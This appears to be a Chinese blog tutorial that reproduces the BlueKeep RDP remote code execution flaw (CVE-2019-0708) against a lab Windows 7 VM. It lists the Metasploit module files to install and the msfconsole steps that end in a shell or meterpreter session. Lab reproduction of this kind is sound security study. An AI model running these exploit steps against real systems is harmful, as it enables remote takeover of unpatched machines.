CVE-2019-0708 远程桌面代码执行漏洞复现
漏洞环境
目标机 IP: 172.16.105.129 攻击机 IP:172.16.105.1
在 mac 下使用 VMware Fusion 安装 Windows7 SP1,下载链接如下: Windows7 SP1 下载链接:ed2k://|file|cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso|3420557312|B58548681854236C7939003B583A8078|/
注意:
由于目前 exp 只支持如下版本的系统,因此安装其它版本的系统可能无法利用。
打开 win7 的远程桌面功能:
msf 环境准备
下载 https://github.com/rapid7/metasploit-framework/pull/12283/files 中的攻击套件放置文件到 msf 的相应文件夹(如果已存在同名文件,直接覆盖即可)
rdp.rb -> /opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/rdp.rb
rdp_scanner.rb -> /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
cve_2019_0708_bluekeep.rb -> /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
cve_2019_0708_bluekeep_rce.rb -> /opt/metasploit-framework/embedded/framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
漏洞利用
进入 msfconsole
进入以后使用 reload_all
重新加载 0708RDP
利用模块 使用 use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
启用 0708RDP
攻击模块 使用 show options
查看需要配置的选项:
使用默认的 shell
填写配置信息,并执行攻击:
使用 meterpreter 的 shell
注意:
请在两次攻击之间重启目标机,否则会出现攻击失败的现象!
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论